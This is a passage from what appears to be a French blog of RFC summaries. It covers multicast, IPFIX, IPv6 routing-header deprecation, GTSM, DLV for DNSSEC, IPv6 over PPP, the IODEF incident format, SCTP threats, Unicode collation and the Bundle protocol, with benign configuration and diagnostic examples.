Pour diffuser en multicast, il faut plusieurs familles de protocoles et la section 2 du RFC est découpée selon ces familles. Ainsi, la section 2.1 est consacrée à la distribution de l'état d'aiguillage (forwarding), c'est-à-dire les règles qui permettent à chaque routeur de savoir où envoyer un flot multicast donné. Le protocole dominant ici est PIM-SM (RFC 4601), l'ancêtre DVRMP ayant été largement abandonné.
La section 2.2, elle, se consacre aux protocoles qui permettent de distribuer l'information topologique, pour que les routeurs apprennent leurs liaisons (en raison des tunnels, la topologie multicast n'est pas forcément congruente à la topologie unicast). C'est aujourd'hui le domaine de BGP dont les extensions multi-protocoles (décrites dans le RFC 4760) permettent de distribuer l'information multicast, ou bien d'IGP comme OSPF (RFC 4915).
Il existe encore d'autres familles de protocoles pour les routeurs multicast, dans les sections suivantes. La section 2.6, elle, passe aux interactions avec les machines finales, comme les protocoles permettant à celles-ci de signaler leur désir de joindre un groupe multicast, pour recevoir les flots associés. Ces protocoles sont IGMP (RFC 3376) en IPv4 et MLD (RFC 3810) en IPv6.
La section 2.7, elle, parle en détail de la réduction de la diffusion sur le réseau local. Si un commutateur réseau reçoit un paquet multicast, il doit en théorie l'expédier sur tous ses ports, même si aucune machine finale n'y écoute le flot. Diverses techniques comme l'« espionnage » des messages IGMP (RFC 4541) permettent de réduire cette diffusion aux seuls ports menant à une machine intéressée.
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : J. Quittek (NEC), S. Bryant, B. Claise, P. Aitken (Cisco), J. Meyer (PayPal)
Chemin des normes
Première rédaction de cet article le 1 février 2008
Le protocole IPFIX d'envoi par un routeur de résumés statistiques sur le trafic qu'il voit passer (RFC 5101, depuis remplacé par le RFC 7011), dépend d'un modèle de données, que décrivait notre RFC (depuis remplacé par le RFC 7012).
Le RFC 5101 qui normalisait le protocole IPFIX indique comment transporter les données de l'exporteur (typiquement un routeur) vers le récolteur (typiquement la machine d'administration du réseau) mais n'indique pas quelles données sont transportées. Notre RFC va jouer ce rôle, équivalent à celui du SMI du RFC 2578 pour SNMP.
Notre RFC est très long mais il est surtout composé d'une longue
liste (section 5) des informations qui peuvent être transmises en
IPFIX. En fait, il est
assez simple. Un élément d'information a un nom (par exemple
destinationTransportPort
), une description (cet
élément indique le port de destination du flot), un type
(ici unsigned16
, nombre entier sur 16 bits) et d'autres informations utiles comme un ElementID qui
identifie de manière unique un élément d'information. Les types sont décrits en détail dans la section 3 mais sont
très classiques (entiers, booléens, adresses
MAC, etc). Plus originaux sont les sémantiques de la
section 3.2, qui précisent, par exemple, que les éléments ayant une
sémantique de totalCounter
repartent de zéro
lorsqu'ils ont atteint leur valeur maximale.
Voici un exemple complet, tiré de la section 5.10.4 :
octetTotalCount Description: The total number of octets in incoming packets for this Flow at the Observation Point since the Metering Process (re-)initialization for this Observation Point. The number of octets include IP header(s) and IP payload. Abstract Data Type: unsigned64 Data Type Semantics: totalCounter ElementId: 85 Status: current Units: octets
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : B. Claise (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ipfix
Première rédaction de cet article le 1 février 2008
Le système IPFIX, successeur de Netflow est désormais normalisé. Des routeurs de différentes marques peuvent donc désormais envoyer des informations statistiques à des machines d'administration de différentes origines.
Un cahier des charges pour IPFIX avait été spécifié dans le RFC 3917. Le système lui-même est désormais normalisé, ce RFC prenant en charge le protocole d'autres RFC s'occupant du modèle d'informations ou bien de l'architecture des différents composants d'IPFIX. Une nouvelle série de RFC IPFIX est sortie en septembre 2013 donc ce RFC n'a plus qu'un intérêt historique, il faut désormais consulter le RFC 7011.
Notre RFC normalise donc le format des paquets (section 3). Comme avec d'autres protocoles, les paquets commencent par un numéro de version, 10 ici, IPFIX marquant sa descendance depuis Netflow, dont la dernière version était la 9. Le RFC décrit aussi l'encodage des données exportées par l'observateur IPFIX (section 6).
Enfin, notre RFC décrit le mécanisme de transport, au dessus d'UDP, le protocole traditionnel de Netflow, mais aussi de TCP ou bien du protocole recommandé, SCTP. Pour répondre au cahier des charges, qui insistait sur la sécurité, la section 10.4 décrit aussi l'utilisation de TLS.
IPFIX est déjà mis en œuvre dans plusieurs systèmes et l'annonce de l'IESG approuvant le RFC précise que deux tests d'interopérabilité ont eu lieu, avec cinq logiciels différents, et que tout marchait bien. Un exemple de mise en œuvre en logiciel libre est Maji. Toutefois, mi-2012, des années après la sortie du RFC, il semble que peu de routeurs soient capables de faire de l'IPFIX (v10). La plupart sont restés bloqués sur Netflow (v9).
Date de publication du RFC : Décembre 2007
Auteur(s) du RFC : J. Abley (Afilias), P. Savola (CSC/Funet), G. Neville-Neil (Neville-Neil Consulting)
Chemin des normes
Première rédaction de cet article le 3 janvier 2008
Ce RFC supprime un type particulier d'en-tête IPv6, qui permettait de faire du routage IP contrôlé par la source mais qui ouvrait la voie à de graves attaques par déni de service.
Normalement, le routage dans IP se fait uniquement en fonction de
l'adresse
de destination. Une technique connue sous le nom de « routage par la
source » (source routing) permet de placer dans un
paquet IP des instructions pour les routeurs situés sur le trajet, forçant
l'usage d'un chemin particulier. En IPv4, ce
routage par la source se fait en indiquant la route (les routeurs par
lesquels le paquet doit passer) dans l'en-tête IP,
où la taille est limitée. Cela limitait donc sérieusement l'utilité de
ce routage par la source, mais aussi ses dangers, puisque un paquet ne
pouvait pas être forcé sur un chemin très long. Néanmoins, cette
option est tellement facile à utiliser pour contourner les politiques
de sécurité, qu'elle est désactivée sur la plupart des routeurs IP
(option sysctl
net.ipv4.conf.all.accept_source_route
sur
Linux, par exemple ou bien no ip
source-route
sur IOS).
Mais la menace en IPv6 était plus sérieuse. En effet, l'en-tête IPv6 est de taille fixe et les options sont placées dans des en-têtes auxiliaires, qui sont très variés (section 4 du RFC 2460). Cela permet de mettre des en-têtes de très grande taille. L'un d'eux, l'en-tête de routage (Routing Header, section 4.4 du RFC 2460) de type 0, permet de lister un plus grand nombre de routeurs intermédiaire qu'en IPv4 (et on peut indiquer plusieurs fois le même routeur, permettant ainsi des parties de ping-pong entre les routeurs). C'est celui, qui, suite à un article très médiatisé (souvent avec des exagérations ridicules) expliquant comment il pouvait être mal utilisé, et suite à l'analyse du RFC 4942, vient d'être déclaré abandonné. (La faille de sécurité avait été enregistrée sous le numéro CVE-2007-2242.)
Désormais, spécifie la section 3 de notre RFC 5095, une machine IPv6 doit ignorer les en-têtes de routage de type 0.
La section 4.2 couvre un problème intéressant, le risque que certains coupe-feux soient programmés de manière excessive pour rejeter tous les paquets ayant un en-tête de routage, même d'autres types (par exemple, le type 2 est utilisé par le RFC 3775). C'est une situation qui s'est déjà produite avec le soi-disant ping of death, où plusieurs administrateurs de coupe-feux ont bloqué complètement ICMP, alors que la vulnérabilité n'avait rien de spécifique à ICMP.
Notre RFC avertit donc qu'il ne faut pas surréagir : bloquer tous les paquets ayant un en-tête de routage empêcherait complètement le déploiement de beaucoup de protocoles.
Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : V. Gill, J. Heasley, P. Savola, C. Pignataro
Chemin des normes
Première rédaction de cet article le 1 novembre 2007
Ce RFC présente un mécanisme de sécurité appliquable aux protocoles de routage mais aussi à bien d'autres protocoles : il consiste à tester le TTL des paquets entrants.
Dans un protocole comme BGP, authentifier le routeur en face et s'assurer que ce n'est pas un méchant, peut être difficile. Comme deux routeurs BGP sont en général adjacents (situés sur le même lien physique), la technique GTSM est simplement de vérifier le TTL des paquets BGP entrants. Qu'est-ce que le TTL ? C'est simplement un compteur dans le paquet IP qui est décrémenté par chaque routeur traversé. Si le TTL à l'arrivée est de 255 (la valeur maximale possible), c'est qu'aucun routeur n'a été traversé, donc que le paquet provient bien du réseau local.
Notre RFC recommande donc aux routeurs BGP de ne plus envoyer des paquets avec un TTL de zéro (l'ancien comportement, qui permettait de s'assurer que les paquets ne sortent pas du réseau local, les routeurs jettant les paquets de TTL nul) mais avec un TTL de 255, permettant de détecter les attaques venues de l'extérieur.
On notera que le TTL se nomme Hop Limit en IPv6 mais qu'il a la même sémantique (c'est bien un nombre de sauts, pas une durée et c'est le terme de TTL en IPv4 qui est erroné).
GTSM avait à l'origine été spécifié comme protocole « expérimental » dans le RFC 3682. Notre RFC marque l'entrée de ce protocole sur le chemin des normes officielles de l'IETF, met à jour son précédesseur, corrigeant un certain nombre de bogues et simplifiant le protocole (par exemple, il ne peut plus être utilisé entre des machines non-adjacentes, multi-hop scenario).
Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : N. Mavrogiannopoulos
Expérimental
Première rédaction de cet article le 16 novembre 2007
Le protocole TLS, permettant de chiffrer et d'authentifier des communications sur Internet n'a toujours utilisé qu'un seul type de certificats, ceux à la norme X.509. Désormais, on peut aussi se servir de clés PGP. (Ce RFC a depuis été mis à jour dans le RFC 6091.)
Pour authentifier l'autre partie, lors d'une communication TLS (utilisée par exemple avec HTTP ou bien avec SMTP), on doit signer ses messages avec sa clé privée. Le correspondant doit connaitre la clé publique pour vérifier cette signature. Avec l'ancien protocole SSL et avec son successeur TLS (normalisé dans le RFC 5246), cela se faisait en présentant un certificat X.509. X.509 a plusieurs limites, notamment le fait qu'il dépende d'une autorité de certification. Tout le monde n'a pas envie de payer une telle autorité, pour un gain de sécurité contestable. Il était donc important d'avoir une alternative.
Même si celle-ci n'a pas été tout de suite standardisée par l'IETF (ce RFC n'a que le statut « expérimental », c'est son successeur, le RFC 6091 qui aura fait évoluer le statut), elle est déjà mise en œuvre dans GnuTLS (pour l'instant, le seul logiciel à le faire).
Techniquement, notre RFC dépend du mécanisme d'extension TLS spécifié dans le RFC 5246. Ces extensions permettent d'annoncer le type de certificat utilisé, et donc de choisir X.509 ou bien PGP (PGP est normalisé dans le RFC 4880). Le RFC précise que ces extensions ne doivent pas être utilisées si on ne gère que des certificats X.509, pour interopérer plus facilement avec les vieilles implémentations.
La clé PGP est envoyée encodée en binaire, ou bien peut être récupérée sur le réseau, si celui qui veut s'authentifier indique uniquement l'empreinte de la clé (de la même façon qu'un certificat X.509 peut être récupéré sur le réseau, si celui qui veut s'authentifier indique l'URL de son certificat).
Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : S. Weiler (Sparta)
Intérêt historique uniquement
Première rédaction de cet article le 14 novembre 2007
Dernière mise à jour le 18 septembre 2008
DLV (DNSSEC Lookaside Validation) était une technique apparemment simple, qui résout élégamment un nœud gordien, mais qui a suscité de très chauds débats, pour des raisons politiques. DLV vise en effet à résoudre un problème de fond de DNSSEC, la signature de la racine. Elle est désormais abandonnée (cf. RFC 8749.)
En effet, avec DNSSEC tel qu'il est spécifié dans le RFC 4033, le résolveur qui tente de vérifier un domaine doit partir de la racine, si elle est signée, ou bien connaitre un ensemble de points de départ, les trust anchors, qui sont les clés publiques des registres qui signent certaines zones. En l'absence d'une racine signée, c'est cette seconde solution que j'ai utilisée pour mes tests du résolveur Unbound.
Signer la racine est trivial techniquement (l'IANA l'a déjà fait) mais très compliqué politiquement. Il faut trouver un signataire légitime (et des sommets internationaux entiers ont été consacrés au problème d'une autorité légitime pour la racine) et il faut que ce signataire soit prêt à s'engager sérieusement puisque qu'une fois que les résolveurs testent la signature, on ne peut plus revenir en arrière.
DLV résout donc le problème en permettant aux racines de signature
(comme celle de
l'ISC) d'être distinctes de la racine du DNS. Ainsi, pour
vérifier la signature de parano.example
, un
résolveur DNSSEC avec support DLV, pourra allez chercher les
signatures dans, par exemple, parano.example.dlv.isc.org
. DLV utilise les enregistrements DNS de type DLV, décrits dans le
RFC 4431.
La section 7 du RFC est consacrée à un problème
difficile. Avec DLV, contrairement au DNSSEC classique, plusieurs
« racines » peuvent signer un même domaine. On peut avoir par exemple
une racine DLV qui signe .org
et une autre qui
signe example.org
. Laquelle utiliser dans le cas
de tels recouvrements ? La solution choisie est de ne pas choisir : le
résolveur DLV peut utiliser l'algorithme qu'il veut, le plus simple
étant décrit comme « choisir la racine la plus spécifique » (celle de
example.org
dans notre exemple). La section 7
décrit d'autres algorithmes et recommande que le résolveur propose un
choix à l'utilisateur.
DLV fournit donc désormais une alternative à la longue attente d'une signature officielle de la racine. Cette alternative a semblé trop simple à certains et beaucoup d'objections ont été levées contre DLV, accusé notamment de retarder la « vraie », la « bonne » solution de signer la racine. Pour citer Paul Vixie, un grand défenseur de DLV, on peut dire que ces objections reviennent à empêcher des adultes consentants d'expérimenter une idée intéressante et qui ne fait de mal à personne. À noter que l'IAB a publié un communiqué qui, après pas mal de détours, accepte l'idée de DLV.
L'ISC a une note
technique, 2006-01 sur le sujet de DLV. DLV est implémenté dans
le résolveur de BIND depuis plusieurs versions. Il se configure ainsi (une
documentation détaillée est en https://secure.isc.org/index.pl?/ops/dlv/
) :
// À l'intérieur du bloc "options" dnssec-enable yes; dnssec-validation yes; dnssec-lookaside . trust-anchor dlv.isc.org.;
À partir de là, on peut valider un domaine qui est enregistré dans le
registre DLV de l'ISC, même si on n'a pas de trust
anchor. Prenons par exemple
sources.org
:
% dig +dnssec MX sources.org. ; <<>> DiG 9.5.0-P2 <<>> +dnssec MX sources.org. ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15559 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 ^^ >>>> Authentic Data, donc validées par DNSSEC ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4096 ;; QUESTION SECTION: ;sources.org. IN MX ;; ANSWER SECTION: sources.org. 86400 IN MX 10 uucp.bortzmeyer.org. ...
Autre solution pour tester si son résolveur utilise bien le
registre DLV de l'ISC : https://www.dns-oarc.net/oarc/services/dlvtest
. Par exemple :
% dig +dnssec a.nsec.dlvtest.dns-oarc.net txt ; <<>> DiG 9.5.1-P3 <<>> +dnssec a.nsec.dlvtest.dns-oarc.net txt ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56042 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1 ...
Cet essai a bien fonctionné, on a bien le 'ad'.
Le service DLV de l'ISC a été arrêté depuis et cette technique transitoire n'est désormais plus d'actualité.
Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : S. Varada (Transwitch), D. Haskins, E. Allen
Chemin des normes
Première rédaction de cet article le 25 septembre 2007
Rien de très nouveau dans ce RFC, successeur du RFC 2472. Les changements sont peu nombreux. En quelques pages, il explique comment faire passer le
protocole IPv6 au dessus de
PPP. Je l'utilise par exemple chez moi pour une
liaison PPPoE. Ajouter l'option ipv6
,
dans le fichier de configuration suffit (il faut
évidemment aussi que le pair en face accepte ce protocole).
Notre RFC définit un nouvau LCP (Link Control Protocol), IPV6CP et on peut voir ici dans le journal de pppd la négociation de ce protocole :
Jun 5 08:13:23 ludwigVI pppd[3046]: sent [IPV6CP ConfReq id=0x1 <addr fe80::35cd:efc1:e399:3aa9>] Jun 5 08:13:23 ludwigVI pppd[3046]: rcvd [IPV6CP ConfReq id=0x1 <addr fe80::020f:90ff:fe92:bd00>] Jun 5 08:13:23 ludwigVI pppd[3046]: sent [IPV6CP ConfAck id=0x1 <addr fe80::020f:90ff:fe92:bd00>] Jun 5 08:13:23 ludwigVI pppd[3046]: rcvd [IPV6CP ConfAck id=0x1 <addr fe80::35cd:efc1:e399:3aa9>]
Et on peut ainsi vérifier le bon fonctionnement du lien :
% ping6 -I ppp0 fe80::0205:00ff:fe77:0000 PING fe80::0205:00ff:fe77:0000(fe80::205:ff:fe77:0) from fe80::a103:545b:b99a:3493 ppp0: 56 data bytes 64 bytes from fe80::205:ff:fe77:0: icmp_seq=1 ttl=64 time=46.4 ms 64 bytes from fe80::205:ff:fe77:0: icmp_seq=2 ttl=64 time=43.3 ms
On notera que, contrairement à IPv4 sur PPP (RFC 1661), on ne peut pas choisir les adresses IP du lien, elles sont forcément de type « locales au lien » :
Aug 25 23:35:17 ludwigV pppd[32050]: local LL address fe80::79f7:f73b:d7b0:5de3 Aug 25 23:35:17 ludwigV pppd[32050]: remote LL address fe80::0205:00ff:fe77:0000
Date de publication du RFC : Décembre 2007
Auteur(s) du RFC : R. Danyliw (CERT), J. Meijer (SURFnet bv), Y. Demchenko (University of Amsterdam)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF inch
Première rédaction de cet article le 18 décembre 2007
Pour rendre plus facilement analysables les innombrables rapports d'incidents de sécurité qui circulent sur Internet tous les jours, ce RFC spécifie un format standard XML, nommé IODEF, pour décrire ces incidents. Ce RFC décrivait la version 1, une version 2, plus étendue, a ensuite été publiée dans le RFC 7970.
Tous les jours, des organisations comme les CERT envoient et reçoivent des rapports détaillés concernant une attaque sur un réseau informatique ou un serveur. Ces rapports sont longs et détaillés mais, la plupart du temps, ce n'est pas une attaque isolée qui est intéressante, c'est l'image qui apparait lorsqu'on synthétise tous les rapports, et qu'on voit alors les tendances, par exemple l'arrivée d'un nouveau ver ou bien une attaque concertée contre un pays donné. D'où l'importance de pouvoir analyser automatiquement ces rapports, ce qui impose un modèle de données et un format standard, ce que fournit ce RFC.
Le modèle de données est proche des modèles objet, par exemple dans la descriptions des classes d'objets manipulés (comme la classe Incident en section 3.2, avec la cardinalité des attributs). Ces classes sont composés avec des données élémentaires (booléens, entiers, dates) décrits dans la section 2. Le schéma XML complet, écrit en W3C Schema, figure dans la section 8.
Une première tentative de normaliser un tel format avait été faite avec IDMEF, dans le RFC 4765 mais n'avait pas rencontré de consensus. Notre RFC représente désormais la solution standard.
Voici un exemple d'un rapport d'incident, tiré du RFC et qui décrit une reconnaissance menée par un agresseur potentiel :
<?xml version="1.0" encoding="UTF-8" ?> <!-- This example describes reconnaissance activity: one-to-one and one-to-many scanning --> <IODEF-Document version="1.00" lang="en" xmlns="urn:ietf:params:xml:ns:iodef-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:ietf:params:xml:schema:iodef-1.0"> <Incident purpose="reporting"> <IncidentID name="csirt.example.com">59334</IncidentID> <ReportTime>2006-08-02T05:54:02-05:00</ReportTime> <Assessment> <Impact type="recon" completion="succeeded" /> </Assessment> <Method> <!-- Reference to the scanning tool "nmap" --> <Reference> <ReferenceName>nmap</ReferenceName> <URL>http://nmap.toolsite.example.com</URL> </Reference> </Method> <!-- Organizational contact and that for staff in that organization --> <Contact role="creator" type="organization"> <ContactName>CSIRT for example.com</ContactName> <Email>contact@csirt.example.com</Email> <Telephone>+1 412 555 12345</Telephone> <!-- Since this <Contact> is nested, Joe Smith is part of the CSIRT for example.com --> <Contact role="tech" type="person" restriction="need-to-know"> <ContactName>Joe Smith</ContactName> <Email>smith@csirt.example.com</Email> </Contact> </Contact> <EventData> <!-- Scanning activity as follows: 192.0.2.1:60524 >> 192.0.2.3:137 192.0.2.1:60526 >> 192.0.2.3:138 192.0.2.1:60527 >> 192.0.2.3:139 192.0.2.1:60531 >> 192.0.2.3:445 --> <Flow> <System category="source"> <Node> <Address category="ipv4-addr">192.0.2.200</Address> </Node> <Service ip_protocol="6"> <Portlist>60524,60526,60527,60531</Portlist> </Service> </System> <System category="target"> <Node> <Address category="ipv4-addr">192.0.2.201</Address> </Node> <Service ip_protocol="6"> <Portlist>137-139,445</Portlist> </Service> </System> </Flow> <!-- Scanning activity as follows: 192.0.2.2 >> 192.0.2.3/28:445 --> <Flow> <System category="source"> <Node> <Address category="ipv4-addr">192.0.2.240</Address> </Node> </System> <System category="target"> <Node> <Address category="ipv4-net">192.0.2.64/28</Address> </Node> <Service ip_protocol="6"> <Port>445</Port> </Service> </System> </Flow> </EventData> </Incident> </IODEF-Document>
Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : C. Hutzler (AOL), D. Crocker (Brandenburg InternetWorking), P. Resnick (Qualcomm), E. Allman (sendmail), T. Finch (University of Cambridge)
Première rédaction de cet article le 8 novembre 2007
Un court RFC qui s'inscrit dans le contexte de la lutte contre le spam et qui donne quelques règles sur les pratiques à suivre lors de la soumission originale du message.
Ce RFC est un exemple de la capacité de l'IETF à gérer les mauvaises idées. Il a commencé comme un Internet-Draft très virulent, reflétant largement les idées d'AOL sur la nécessité de réduire le marché des FAI à un cartel de gros opérateurs, réglant les questions de spam entre eux. Peu à peu vidé de sa substance au fur et à mesure des itérations, il ne reste qu'un court RFC qui se limite à des bonnes pratiques de soumission du courrier, laissant de côté le devenir ultérieur du message. Des idées très contestables, mais cohérentes avec la vision AOL d'un Internet séparant nettement les opérateurs et les simples consommateurs, ont été écartées, par exemple le blocage du port SMTP en sortie, qui n'est plus mentionné qu'en passant.
La seule vraie règle (déjà présente dans le RFC 4409) est la forte recommandation qu'un MSA authentifie les soumissions de courrier, par exemple via TLS ou bien via SASL (cf. RFC 4954).
Un article détaille comment configurer Postfix pour une telle authentification et donc respecter ces bonnes pratiques.
Date de publication du RFC : Décembre 2007
Auteur(s) du RFC : M. Dürst (Aoyama Gakuin University)
Chemin des normes
Première rédaction de cet article le 22 décembre 2007
Un court et simple RFC, pour normaliser un nouvel en-tête dans les messages du courrier électronique, en-tête qui donne l'URI où on peut trouver une version archivée de ce message.
Pourquoi un tel en-tête ? Si on a le message, on n'a pas besoin de l'URI de référence, non ? Mais en fait, on a souvent besoin de passer, non pas le message mais une référence au message, par exemple parce qu'on a repéré une discussion intéressante sur une liste et qu'on veut donner une référence stable à cette discussion (la section 3.3 détaille ce besoin).
Voici un exemple de cet en-tête, pour le message qui annonce l'approbation de cette norme par l'IESG :
From: The IESG <iesg-secretary@ietf.org> To: IETF-Announce <ietf-announce@ietf.org> Subject: Protocol Action: 'The Archived-At Message Header Field' to Proposed Standard Date: Mon, 10 Sep 2007 19:20:22 -0400 Archived-At: <http://www1.ietf.org/mail-archive/web/ietf-announce/current/msg04069.html>
L'un des principaux utilisateurs de ce RFC devrait être l'IETF elle-même, qui accorde une grande importance à la disponibilité en ligne des archives de toutes ses listes de diffusion, afin qu'on puisse voir pourquoi tel choix a été fait dans une norme et qui l'a défendu. On va donc guetter les premières mises en œuvre de ce côté.
Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : R. Stewart (Cisco Systems), M. Tuexen (Muenster Univ. of Applied Sciences), G. Camarillo (Ericsson)
Pour information
Première rédaction de cet article le 11 octobre 2007
Ce RFC documente les problèmes de sécurité connus pour le protocole de transport SCTP. Ces problèmes, présents dans la première version de la norme, le RFC 2960, documentés une première fois dans le RFC 4460, sont traités dans la dernière version de la norme, le RFC 4960.
SCTP est très peu utilisé par rapport à son grand concurrent TCP. S'il règle certaines failles de sécurité de celles-ci (par exemple en intégrant un mécanisme d'authentification des adresses IP plus robuste pour l'établissement de la connexion), ses nouvelles possibilités pour le multihoming ouvrent des nouvelles failles.
Celles-ci, d'abord discutées dans le RFC 4460, sont désormais documentées dans le RFC 4960, qui change légèrement le protocole et donne plusieurs conseils aux implémenteurs. Bien que SCTP ne se place pas réellement dans la catégorie des protocoles à séparation de l'identificateur et du localisateur, ces faiblesses sont quand même proches de celles trouvées dans ces protocoles : l'ajout d'un niveau d'indirection supplémentaire permet de nouvelles usurpations. Avec SCTP, le fond du problème est qu'un attaquant peut dire la vérité sur l'adresse IP principale, celle qui sert à établir la connexion (SCTP dit l'association), mais mentir sur les adresses IP supplémentaires.
Par exemple, la première attaque documentée (section 2), le camping, consiste pour un attaquant à se connecter à un serveur en annonçant des adresses IP supplémentaires, qui ne sont pas à lui, et, en « campant » ainsi dessus, il peut empêcher leur légitime titulaire d'établir une association avec le même serveur.
La solution proposée par le RFC est de tester ces adresses (ce qui était déjà prévu par le mécanisme de battement de cœur dans le RFC 2960 mais sans l'utiliser pour la sécurité). On notera que ce test empêche d'utiliser ces adresses IP supplémentaires si elles ne sont pas joignables immédiatement par la machine associée. C'est conforme au cahier des charges de SCTP, qui vise le multihoming, pas la mobilité (un RFC séparé, le RFC 5061 fournit des pistes pour mieux gérer la mobilité).
Une autre attaque documentée (section 5) est le bombardement, qui permet des DoS. L'attaquant prétend contrôler une adresse IP (en fait, celle de sa victime), établit l'association en indiquant cette adresse IP comme supplémentaire et demande un gros transfert de données, qui frappera sa victime. Si celle-ci n'a pas SCTP, elle ne pourra pas signaler l'erreur. Là encore, la solution est de tester toute adresse IP avant de lui envoyer des données.
Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : M. Crispin (University of Washington)
Chemin des normes
Première rédaction de cet article le 24 octobre 2007
Dernière mise à jour le 30 octobre 2007
Plusieurs protocoles, notamment IMAP, ont besoin de trier des chaînes de caractères. Il existe plusieurs règles de tri, plus ou moins faciles à mettre en œuvre et plus ou moins « correctes » pour l'utilisateur et ce RFC spécifie une règle qui respecte mieux les chaînes Unicode, sans pour autant être parfaite du point de vue des règles des langues vivantes.
Pour éviter à chaque application de réinventer la roue, il existe
un registre
IANA des règles de tri, que les protocoles n'ont qu'à
référencer. Ce registre, initialement créé par le RFC 4790,
se remplit petit à petit. Les premières règles étaient triviales à
implémenter (comme i;octet
, qui travaille
uniquement au niveau binaire, sans comprendre les caractères), mais
très éloignées de ce qu'un utilisateur humain appelerait un
tri. Notre RFC normalise une nouvelle règle,
i;unicode-casemap
qui fournit un tri indépendant
de la casse pour les chaînes
Unicode.
La règle est assez simple à exprimer (et le RFC est très court) :
Notre RFC donne l'exemple du caractère « LATIN CAPITAL LETTER DZ WITH CARON » (U+01C4 en Unicode, soit DŽ. Il est capitalisé en « LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (U+01C5, soit Dž). Il est ensuite décomposé en « LATIN CAPITAL LETTER D » (un grand D ordinaire) et « LATIN SMALL LETTER Z WITH CARON » (U+017E soit ž). Ce dernier est à son tour décomposé et le résultat final est Dž (trois caractères Unicode, le dernier étant le caron combinant, U+030C, dites-moi si vous voyez tout correctement sur votre navigateur). On peut alors trier.
Utilisant la base de données Unicode, on peut programmer cet algorithme (ici un programme écrit en Python) facilement. Voici les résultats, avec successivement le « e accent aigü », le « grand dz avec caron », et la ligature arabe « Djalladjalalouhou » :
% ./decompose.py --rfc5051 -n U+00E9 U+000045 U+000301 % ./decompose.py --rfc5051 -n U+1C4 U+000044 U+00007A U+00030C % ./decompose.py --rfc5051 -n U+FDFB U+00062C U+000644 U+000020 U+00062C U+000644 U+000627 U+000644 U+000647
Le programme n'est pas 100 % parfait (il ne gère pas le cas où la capitalisation d'une lettre est une chaîne et pas une lettre unique) mais presque.
Notons enfin une très intéressante section 3 sur la sécurité, qui explique comment deux implémentations correctes de cet algorithme peuvent quand même donner des résultats différents (un problème fréquent avec Unicode).
Date de publication du RFC : Novembre 2007
Auteur(s) du RFC : K. Scott (Mitre), S. Burleigh (NASA
Jet Propulsion Laboratory)
Expérimental
Première rédaction de cet article le 19 novembre 2007
Dernière mise à jour le 20 novembre 2007
Première incarnation du travail sur les réseaux à forte latence (RFC 4838), voici le protocole « Bundle », pour communiquer avec un vaisseau spatial en route pour Jupiter... (Une version plus élaborée l'a depuis remplacé, cf. RFC 9171.)
Conçu pour des réseaux difficiles, à très forte latence, avec des connectivités très intermittentes, Bundle ne doit pas grand'chose à TCP/IP et ressemble davantage à UUCP. Un bundle (avec un petit b) est un paquet de notre protocole (il a par exemple l'équivalent d'un en-tête, décrit dans la section 4.2). Il est transmis de machine en machine, chaque machine en acceptant la garde et le stockant pour un temps indéterminé, avant de le passer à la machine suivante. (Les bundles sont composés de plusieurs blocs et ce sont en fait les blocs qui sont transmis, mais c'est un détail.)
La transmission se fait avec des protocoles des couches inférieures comme le LTP présenté dans le RFC 5325.
Ce concept de garde (custody) est essentiel dans Bundle et évoque le courrier électronique où, avant l'explosion du spam, un serveur de messagerie avait pour principe de ne jamais jeter un message dont il avait accepté la garde : « distribuer ou signaler (la non-distribution) ».
Bundle fonctionne au niveau Applications. À l'intérieur de chaque réseau (le RFC dit « internet » avec un petit i, mais je trouve le risque de confusion avec l'Internet trop grand), Bundle utilise les protocoles de transport et de routage de ce réseau (la section 7 détaille les propriétés que doit avoir la mince couche logicielle qui connecte Bundle à ces protocoles).
Le format des bundles est décrit dans la section 4 (il sera ensuite normalisé de manière plus rigoureuse dans le RFC 6256). Il ressemble au BER d'ASN.1. Les valeurs ne sont pas étiquetées avec leur longueur, leur fin est détectée lorsque le bit de plus fort poids devient zéro.
La section 5 décrit le traitement des bundles, par exemple leur expiration lorsqu'ils n'ont pas pu être transmis dans le délai imparti.
La section 6 est consacrée aux messages « administratifs », l'équivalent d'ICMP dans le monde IP. Transmis par le même protocole Bundle, ils permettent de signaler qu'un bundle a été transmis, qu'il a été déposé à sa destination finale, etc.
Une première mise en œuvre du protocole
Bundle a été developpée et se trouve en http://masaka.cs.ohiou.edu/ocp/bundling.html
. Une autre est ION, accessible
en http://www.dtnrg.org/wiki/Code
.
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : J. Rosenberg, C. Jennings (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF sipping
Première rédaction de cet article le 5 janvier 2008
Le spam est la plaie du courrier électronique. Peut-il également affecter d'autres services comme la téléphonie sur IP ? C'est la crainte de l'IETF, d'où ce RFC qui étudie les moyens de faire face au spam via le protocole SIP, avant que ce phénomène se développe.
Rien n'indique que le spam restera limité au courrier électronique. Au contraire, l'expérience semble indiquer que, du moment qu'une technique permet de joindre beaucoup de personnes pour pas cher, et sans introduction préalable, elle est utilisée par les spammeurs. Les techniques soi-disant « sans spam » sont uniquement celles qui ne sont peu ou pas utilisées, ou qui sont chères et peu pratiques.
